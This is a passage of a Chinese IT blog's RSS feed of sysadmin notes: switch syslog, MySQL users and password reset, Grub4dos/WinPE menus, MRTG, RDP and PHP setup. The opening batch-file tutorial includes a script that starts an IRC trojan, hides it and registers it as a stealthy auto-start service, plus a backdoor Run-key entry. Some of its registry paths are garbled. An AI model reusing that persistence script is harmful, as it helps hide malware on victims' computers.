&gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample1： <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo hello world&gt;c:hello.txt (stupid example?) <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample2: <br/>&nbsp;&nbsp;&nbsp;&nbsp;时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 <br/>3.&lt; 、&gt;&amp; 、&lt;&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt; 从文件中而不是从键盘中读入命令输入。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;这些并不常用，也就不多做介绍。 <br/><br/>五.如何用批处理文件来操作注册表 <br/>&nbsp;&nbsp;&nbsp;&nbsp;在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作，常见的是创建、修改、删除。 <br/>1.创建 <br/>&nbsp;&nbsp;&nbsp;&nbsp;创建分为两种，一种是创建子项(Subkey) <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;我们创建一个文件，内容如下： <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;然后执行该脚本，你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;另一种是创建一个项目名称 <br/>&nbsp;&nbsp;&nbsp;&nbsp;那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Invader&#34;=&#34;Ex4rch&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Door&#34;=C:WINNTsystem32door.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Autodos&#34;=dword:02 <br/>&nbsp;&nbsp;&nbsp;&nbsp;这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下 <br/>&nbsp;&nbsp;&nbsp;&nbsp;新建了:Invader、door、about这三个项目 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Invader的类型是“String value” <br/>&nbsp;&nbsp;&nbsp;&nbsp;door的类型是“REG SZ value” <br/>&nbsp;&nbsp;&nbsp;&nbsp;Autodos的类型是“DWORD value” <br/><br/>2.修改 <br/>&nbsp;&nbsp;&nbsp;&nbsp;修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。 <br/>3.删除 <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们首先来说说删除一个项目名称，我们创建一个如下的文件： <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Ex4rch&#34;=- <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的&#34;Ex4rch&#34;就被删除了； <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;我们再看看删除一个子项，我们创建一个如下的脚本： <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;samlpe1:如上面的那个例子,如想生成如下注册表文件 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Invader&#34;=&#34;Ex4rch&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;door&#34;=hex:255 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Autodos&#34;=dword:000000128 <br/>&nbsp;&nbsp;&nbsp;&nbsp;只需要这样： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;Invader&#34;=&#34;Ex4rch&#34;&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;door&#34;=5&gt;&gt;C:WINNTsystem32door.exe&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;Autodos&#34;=dword:02&gt;&gt;Sample.reg <br/><br/>samlpe2: <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) <br/>&nbsp;&nbsp;&nbsp;&nbsp;@start windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@attrib +h +r windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] &gt;&gt;patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;windsnx &#34;=- &gt;&gt;patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@sc.exe cr&#101;ate Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@regedit /s patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@del&#101;te patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动] <br/>&nbsp;&nbsp;&nbsp;&nbsp;@REM 这样不是更安全^_^.<br/><br/><br/>{choice实际上是一个外部命令,它一般位于<br/>%systemroot%\system32目录下,全名是choice.exe,因此所谓失效可能是在win2000<br/>中默认没有此文件,但是一般拷贝一个其它系统中的choice.exe过去就可以了.<br/>在win2003中存在此命令.}]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=60</link>
			<title><![CDATA[设置 Syslog 日志服务器，来获取CISCO和H3C交换机日志]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Sat,06 Feb 2010 13:14:01 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=60</guid>	
		<description><![CDATA[注:配置日志服务器前先检查是否已安装了SYSLOG服务需要修改一下/etc/sysconfig/syslog <br/>把文件SYSLOGD_OPTIONS选项后多加一个-r<br/>然后再增加/etc/syslog.conf配制.服务器的配制可以看系统的man syslog<br/><br/><br/><br/> <br/>H3C设备配置步骤<br/> <br/>&lt;Sysname&gt; system-view<br/> <br/>[Sysname] info-center enable<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;# 指定向日志主机输出日志信息的通道为 loghost 通道。<br/> <br/>[Sysname] info-center loghost 1.2.0.1 channel loghost<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 关闭所有模块日志主机的 log、trap、debug 的状态。<br/> <br/>[Sysname] info-center source default channel loghost debug state off log state off trap state off<br/> <br/>注意：<br/> <br/>由于系统对各通道允许输出的系统信息的缺省情况不一样，所以配置前必须将所有模块的需求通道（本例为loghost ）上log、trap、debug 状态设为关闭，再根据当前的需求配置输出相应的系统信息。可以用display channel 命令查看通道的状态。<br/> <br/># 将 IP 地址为 1.2.0.1/16 的主机作为日志主机，设置信息级别为informational，输出语言为英文，允许输出信息的模块为所有模块。<br/> <br/>[Sysname] info-center loghost 1.2.0.1 facility local7 language english<br/> <br/>[Sysname] info-center source default channel loghost log level informational<br/> <br/> <br/>进行以上操作之后，系统就可以在相应的文件中记录日志信息了。<br/> <br/> <br/>CISCO交换机的设置举例<br/> <br/> 以下配置描述了如何将Cisco设备的日志发往syslog服务器<br/> <br/>　　cisco#conf t <br/>　　<br/>　　cisco(config)#logging on <br/>　　<br/>　　cisco(config)#logging a.b.c.d //日志服务器的IP地址 <br/>　　<br/>　　cisco(config)#logging facility local1　//facility标识, RFC3164 规定的本地设备标识为 local0 - local7 <br/>　　<br/>　　cisco(config)#logging trap errors //日志记录级别，可用&#34;?&#34;查看详细内容<br/> <br/>可选的级别有0－7共八个级别，0最高，7最低。这八个级别分别为： <br/>alerts Immediate action needed (severity=1) <br/>critical Critical conditions (severity=2) <br/>debugging Debugging messages (severity=7) <br/>emergencies System is unusable (severity=0) <br/>errors Error conditions (severity=3) <br/>informational Informational messages (severity=6) <br/>notifications Normal but significant conditions (severity=5) <br/>warnings Warning conditions (severity=4) <br/>(config)#logging on 启用日志服务。 <br/> <br/>选取最低的debugging级别可以记录所有可以记录的信息，包括系统信息、错误信息、debug信息等等。但是仍然不能满足我们的全部需求。　　<br/>　　cisco(config)#logging source-interface e0 //日志发出用的源IP地址 <br/>　　<br/>　　<br/>　　cisco(config)#service timestam log datetime localtime<br/>　　日志记录的时间戳设置，可根据需要具体配置 <br/>　　<br/>　　检验 <br/>　　<br/>　　cisco#sh logging<br/> ]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=53</link>
			<title><![CDATA[创建一个新的MYSQL远程用户]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Wed,29 Jul 2009 10:57:42 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=53</guid>	
		<description><![CDATA[GRANT USAGE ON * . * TO &#39;MYNAME&#39;@&#39;MYIP&#39; IDENTIFIED BY &#39;MYPWD&#39; WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_Up&#100;ateS_PER_HOUR 0 ;<br/><br/>这里的MYNAME为远程用户名<br/>MYIP为远程指定的IP.可以用%来代表所有IP<br/>MYPWD为这个创建用户的密码]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=46</link>
			<title><![CDATA[找MYSQL的ROOT密码]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Thu,25 Jun 2009 23:37:26 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=46</guid>	
		<description><![CDATA[若是windows系统，mysqladmin的密码在my.ini文件中明文存储<br/>Linux中，如果密码遗忘，这里提供几个解决方法<br/>停掉mysql <br/># /etc/rc.d/init.d/mysql stop <br/><br/>以--skip-grant-table 的參數啟動mysql<br/># safe_mysql --skip-grant-table&amp;<br/><br/>更改root密码<br/>#mysql<br/>use mysql<br/>Up&#100;ate user SET password=password(&#39;new&#39;) Wh&#101;re user=&#39;root&#39;;<br/>mysql&gt; FLUSH PRIVILEGES;<br/><br/><br/>新密码为: new<br/><br/>停掉mysql<br/># mysqladmin -uroot -p shutdown<br/>Enter password:new]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=39</link>
			<title><![CDATA[在上网时IE根本无法打开页面中的链接]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Mon,18 May 2009 20:51:24 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=39</guid>	
		<description><![CDATA[在上网时IE根本无法打开页面中的链接，只能在地址栏输入想要浏览页的网址才行<br/>解决办法:<br/>点击开始 -&gt; 运行 -&gt; 输入以下命令，然后重新启动计算机: <br/>regsvr32 actxprxy.dll <br/>regsvr32 shdocvw.dll <br/>regsvr32 mshtml.dll <br/>regsvr32 urlmon.dll <br/>regsvr32 msjava.dll <br/>regsvr32 shdocvw.dll <br/>regsvr32 browseui.dll <br/>regsvr32 actxprxy.dll <br/>regsvr32 oleaut32.dll <br/>regsvr32 shell32.dll]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=38</link>
			<title><![CDATA[Grub4dos for WinPE 启动菜单]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Sun,08 Feb 2009 11:18:19 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=38</guid>	
		<description><![CDATA[<p>搞了几天 Grub + WinPE最后发现以下这个文章很不错.抄来加以修改和大家分享.</p>
<p><a href="http://soft.idcnote.com/windows2003/grub-for-dos.rar">下载我修改的Grub-for-DOS</a></p>
<p>我的机子一直用的 Windows 2000，使用至今基本不知重装为何物，且不说是好是坏，至少也是事出有因吧。</p>
<p>一开始当然是 Ghost，标本兼治就是感觉折腾成本大了点。然后就是用 DOS 拉，大事化小就是只能删删病毒换换文件等的简单操作。接着有了 FAT32 进化为 NTFS，我们也有了 DOS4NTFS，不过 DOS 还是只能从 FAT32 格式的盘启动加载&hellip;&hellip;</p>
<p><a href="http://sysoft.zdwx.com/grub/" target="_blank"><strong>Grub</strong></a> 是 Linux 的一个载入程序，正如 NTLDR 之于 Windows NT/2K/XP。它就是为多重引导而生，而且适用于多种平台，这里说的 Windows 下的 Grub 就是 <a href="http://baike.baidu.com/view/1634916.htm" target="_blank"><strong>Grub4dos</strong></a>。自从知道了这个短小精悍的东东，它就跟我的系统共存亡了。这样在 NTFS 格式下，在 boot.ini 里添加一个 grldr 的选项，然后编辑它的启动菜单把类似 DOS.IMG 之类的文件加载进去，就算不是 FAT32 也没问题了。</p>
<p>可能是介于 DOS 的过时，微软在 2002 年发布了 <a href="http://baike.baidu.com/view/27468.htm" target="_blank"><strong>WinPE</strong></a>（Windows PreInstallation Environment）预安装环境，相当于迷你的急救 XP 系统吧。目前市面上流传的较广的有老毛桃的撒手不管版、深山红叶工具箱等&hellip;&hellip;其实五花八门的虽各小有见长，但基本都是大同小异，要么你多个工具，要么我多个驱动。最主要的应用当然是市面那些 DIY 的系统安装光盘，例如什么番茄花园什么猪猪猫什么深度技术等。</p>
<p>我原来用的是 Grub/DOS（grldr），后来装了老毛桃 WinPE 有加密功能的硬盘版（mtldr），但是折腾了很久还是无法识别 NVIDIA 的网卡驱动，而且一些功能报错（例如 MMC），外挂又是打包无法直接编辑；后来发现<a href="http://www.bibidu.com/fileview-170200.html" target="_blank">最帅的菜鸟专用启动光盘</a>（RXPE.LDR）竟然能够识别 NV 网卡，但这个版本的其他功能却是非常简陋；所以最后通过深山红叶 WinPE（drldr） 的外挂包把 NV 的驱动包加载到老毛桃的硬盘版里。</p>
<p>不管那个版本的 WinPE，光盘版也好，硬盘版也好，启动菜单几乎都是用 grub 做的；而且多个版本都是指定了各自的 Loader，像什么 mtldr、avldr、pxldr 等，特别是很多都在 C 盘根目录放置了很多根本可以无须放根目录的东东，容易出错且一但有问题难排错。既然都是用 Grub 来做，那或许应该可以用 Grub 来统一引导启动？&mdash;&mdash;其实非常简单！</p>
<p>先说说老毛桃 WinPE 默认的安装目录为 <strong>C:\MiniPE</strong>，默认启动文件为 <strong>C:\mtldr</strong>。正文开始：</p>
<p>首先，在 C:\boot.ini 里加上一行：<span class="Code"><font color="#000000">C:\grldr=&quot;Start WinPE with Grub4DOS&quot;</font></span></p>
<p>然后，下载最新版的 <a href="http://download.gna.org/grub4dos/grub4dos-0.4.4-2008-07-21.zip" target="_blank"><strong>grub4dos-0.4.4-2008-07-21.zip</strong></a>，把解压出来的 grldr 放到 C&nbsp; 盘根目录。用 <strong><a href="http://bbs.wuyou.com/viewthread.php?tid=126637" target="_blank">grldr 内置菜单编辑工具</a></strong>&nbsp;把 grldr 的启动菜单读取出来，代码为：</p>
<p class="Code">default 0<br />timeout 1<br />fallback 1<br />&nbsp;<br />title find /menu.lst<br />&nbsp;find --set-root --ignore-floppies /menu.lst<br />&nbsp;configfile /menu.lst<br />&nbsp;<br />title find /boot/grub/menu.lst<br />&nbsp;fallback 2<br />&nbsp;find --set-root --ignore-floppies /boot/grub/menu.lst<br />&nbsp;configfile /boot/grub/menu.lst<br />&nbsp;<br />title find /grub/menu.lst<br />&nbsp;fallback 3<br />&nbsp;find --set-root --ignore-floppies /grub/menu.lst<br />&nbsp;configfile /grub/menu.lst<br />&nbsp;<br />title commandline<br />&nbsp;commandline<br />&nbsp;<br />title reboot<br />&nbsp;reboot<br />&nbsp;<br />title halt<br />&nbsp;halt</p>
<p>可以看出 grldr 会去几个位置找 menu.lst，优先放置于根目录，根目录没找到 menu.lst，就会去旧版本的位置 /boot/grub/menu.lst 找。用 <a href="http://bbs.wuyou.com/viewthread.php?tid=31047" target="_blank"><strong>GRUB 菜单密码 MD5 工具</strong></a> 得到某密码如 123456 的 MD5 = $1$8$pSqK8hjjgmdb73MJlsrnj1，将上面这段内容改为下面的代码并保存到刚刚的 grldr：</p>
<p class="Code">default 0<br />timeout 0<br />fallback 1<br />title WinPE with Grub4DOS<br />&nbsp;password --md5 $1$8$pSqK8hjjgmdb73MJlsrnj1<br />&nbsp;find --set-root --ignore-floppies /menu.lst<br />&nbsp;configfile /menu.lst<br />title Back<br />&nbsp;rootnoverify (hd0,0)<br />&nbsp;makeactive<br />&nbsp;chainloader +1</p>
<p>这样 ntldr 加载 boot.ini 后，当我们选择&ldquo;Start WinPE with Grub4DOS&rdquo;时，grldr 就会出现上面我们编辑好的菜单（因为延时 0 秒所以基本不可见），因为默认是第 0 个选项，所以来到输入密码的界面；如果密码输入错误或菜单文件放置有误，则会 fallback 回第 1 个选项（即回到第一块硬盘的第一个分区也就是 C 盘）。当正确输入 123456 并菜单放置正确后，grldr 会自动找到并加载我们编辑好的新的菜单，<strong>/menu.lst</strong>：</p>
<p class="Code">color black/cyan yellow/cyan<br />timeout 20<br />default 0<br />&nbsp;<br /><strong>title 00. Start WinPE (LaoMaoTao)</strong><br />find --set-root /boot/winpe.iso<br />map --mem /boot/winpe.iso (hd32)<br />map --hook<br />chainloader (hd32)<br />boot<br />&nbsp;<br /><strong>title 01. Start Power WinPE (Data/File)</strong><br />find --set-root /boot/powerpe.iso<br />map --mem /boot/powerpe.iso (hd32)<br />map --hook<br />chainloader (hd32)<br />boot<br />&nbsp;<br /><strong>title 02. Start WinPE (Network/Kaspersky)</strong><br />find --set-root /boot/reboot.iso<br />map --mem /boot/reboot.iso (hd32)<br />map --hook<br />chainloader (hd32)<br />boot<br />&nbsp;<br />title 03. Start Rescue DOS (MSDOS v7.1)<br />find --set-root /boot/rdos.img<br />map --mem /boot/rdos.img (fd0)<br />map --hook<br />chainloader (fd0)+1<br />rootnoverify (fd0)<br />&nbsp;<br />title 04. Start Recovery DOS (Ghost/DishGenis)<br />find --set-root /boot/ghost.img<br />map --mem /boot/ghost.img (fd0)<br />map --hook<br />chainloader (fd0)+1<br />rootnoverify (fd0)<br />&nbsp;<br /><strong>title 05. Start Ram Windows XP<br /></strong>find --set-root --ignore-floppies /boot/ramxp/ramxp.dsk<br />kernel /boot/ramxp/memdisk raw<br />initrd /boot/ramxp/ramxp.dsk<br />&nbsp;<br />title 06. Load MemTest-86 Program<br />kernel (hd0,8)/boot/memtest.bin<br />&nbsp;<br />title 07. Load from other Menu.lst<br />find --set-root /grldr<br />configfile /boot/menu.lst<br />&nbsp;<br />title 08. Find/Load Windows NT/2K/XP (NTLDR)<br />find --set-root /ntldr<br />chainloader /ntldr<br />&nbsp;<br />#title Find/Load Windows 9x/Me (IO.SYS)<br />#find --set-root /io.sys<br />#chainloader /io.sys<br />&nbsp;<br /><strong>title 09. Boot from CDROM</strong><br />find --set-root /boot/sbootmgr.dsk<br />map --mem /boot/sbootmgr.dsk (fd0)<br />map --hook<br />chainloader (fd0)+1<br />rootnoverify (fd0)<br />&nbsp;<br />title 10. Boot from HardDisk #1 (HD0,0)<br />root (hd0,0)<br />chainloader +1<br />&nbsp;<br />title 11. Boot from HardDisk #2 (HD1,0)<br />root (hd1,0)<br />chainloader (hd1,0)+1<br />&nbsp;<br />#title (?) Grub Command Line<br />#commandline<br />&nbsp;<br />title (!) Reboot<br />reboot<br />&nbsp;<br />title (x) Shutdown<br />halt<br />&nbsp;<br />title &lt;=== Back ====<br />rootnoverify (hd0,0)<br />makeactive<br />chainloader +1</p>
<p><strong>更新了下：</strong></p>
<ol>
    <li><strong>把 boot 目录放到其他盘（C 盘根目录就只有 grldr 和 menu.lst 两个文件了）。预防万一 C 盘没拉，辛苦制作的硬盘版启动文件还在。</strong> </li>
    <li><strong>把老毛桃和深山红叶和最帅菜鸟的 ISO 直接加载；他们的外挂则是放置在 ISO 所在分区：/MiniPE、/BOOT、/RXPF 目录下&mdash;&mdash;经过多次测试能完美解决 grub 加载 ISO 无法使用外置程序（其实无论外置还是内置，现在都是OK的）的问题。</strong> </li>
    <li><strong>加了个 RamXP，哈哈，目录任意，效果挺不错。其实没什么用，就试下效果。dsk 格式的文件挺不错。找不到有什么编辑工具。</strong> </li>
</ol>
<p>菜单的样子大概如下图（VMware 下的调试状态，未一一对应以上菜单代码）：</p>
<p><img class="ImgBox" title="grub4dos with winpe" alt="grub4dos with winpe" src="http://www.playes.net/Uploads/2008/072023BAF.JPG" /></p>
<p>高级应用：在这个界面，高亮你要选择的选项后：按&ldquo;b&rdquo;键或回车启动；按&ldquo;e&rdquo;键可以进入编辑状态；按&ldquo;c&rdquo;键进入命令行模式。进入选项编辑状态后，还可以继续&ldquo;e&rdquo;进入内容编辑状态，按&ldquo;Esc&rdquo;取消修改；按&ldquo;Enter&rdquo;应用修改。&mdash;&mdash;其实这些已经是相当于 Linux/Ubuntu 的启动了。</p>
<p>这里还有个问题：在 boot.ini 菜单可以添加 <font color="#000000"><span class="Code">C:\bootsect.cdr=&quot;Boot from CDROM&quot;</span>，利用 512 字节的光驱引导文件 <strong>bootsect.cdr</strong> 来启动光驱，但这个文件在 grub4dos 无法应用。甚至用&ldquo;scdrom --install&rdquo;和&ldquo;scdrom --bootcd&rdquo;都无法解决，报无法识别。算了，留点缺陷美才是完美！？</font></p>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=26</link>
			<title><![CDATA[监控华为65CPU的代码]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Sat,15 Nov 2008 14:46:32 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=26</guid>	
		<description><![CDATA[EnableIPv6: no<br/>WorkDir:&nbsp;&nbsp;/xx/xx<br/>Options[_]: growright,bits<br/>XSize[_]:380<br/>YSize[_]:120<br/><br/>Target[65-1]:1.3.6.1.4.1.2011.6.1.1.1.3.0&amp;1.3.6.1.4.1.2011.6.1.1.1.4.6:name@ROUTip<br/>MaxBytes[65-1]: 100<br/>Unscaled[65-1]: ymwd<br/>ShortLegend[65-1]: %<br/>XSize[65-1]: 380<br/>YSize[65-1]: 120<br/>Options[65-1]: gauge<br/>YLegend[65-1]: CPU Utilization<br/>Legend1[65-1]: CPU Utilization in % (Load)<br/>Legend2[65-1]: CPU Utilization in % (Load)<br/>Legend3[65-1]: &amp;nbsp;<br/>Legend4[65-1]: &amp;nbsp;<br/>LegendI[65-1]: &amp;nbsp;<br/>LegendO[65-1]: &amp;nbsp;<br/>Title[65-1]: CPU Load -- 65-1_CPU<br/>PageTop[65-1]: &lt;H1&gt;CPU Load (%) -- 65-1_CPU&lt;/H1&gt;<br/><br/><br/>监控华为65CPU的代码.<br/><br/>MIB&nbsp;&nbsp;<br/>1.3.6.1.4.1.2011.6.1.1.1.3.0<br/>最后的0代表业务面板的意思.<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=17</link>
			<title><![CDATA[WINDOWS2003无法远程的问题]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Sat,18 Oct 2008 09:12:10 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=17</guid>	
		<description><![CDATA[1.查看IP配置是否正确.能否PING通外网(确认网络的情况)<br/>2.确认远程端口.可以用NETSTAT -AN查看开放端口.再从注册表中看远程端口设置情况<br/>3.查看本机防火墙或第三方软件防火墙.<br/>4.安全策略设置情况<br/>5.Terminal Services是否正常启动<br/><br/>有时还会忘记一个最简单的问题&#34;我的电脑--&gt;属性--&gt;远程&#34;这里没有钩选.呵呵.<br/><br/>还有可能会和系统时间有关.如果不小心把系统时间调到2600什么的.这样的一个年份.就会出现以上说的5点都正常.就是无法远程.所以要注意一下时间哟.]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=10</link>
			<title><![CDATA[windows 2003 下php的安装]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Mon,01 Sep 2008 14:28:36 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=10</guid>	
		<description><![CDATA[<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（</span><span lang="EN-US"><font face="Times New Roman">1</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）、下载地址</span><span lang="EN-US"><font face="Times New Roman">:&nbsp; <a href="http://soft.idcnote.cn/windows2003/php-5.0.2-Win32.zip">http://soft.idcnote.cn/windows2003/<font face="宋体">php-5.0.2-Win32.zip</font></a></font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，解压至</span><span lang="EN-US"><font face="Times New Roman">C:\php (</font></span><font color="#ff0000"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">给</span><span lang="EN-US"><font face="Times New Roman">PHP</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这个文件夹添加</span><span lang="EN-US"><font face="Times New Roman">everyone</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span><span lang="EN-US"><font face="Times New Roman">&quot;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">读取和运行</span><span lang="EN-US"><font face="Times New Roman">&quot;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">权限</span></font><span lang="EN-US"><font 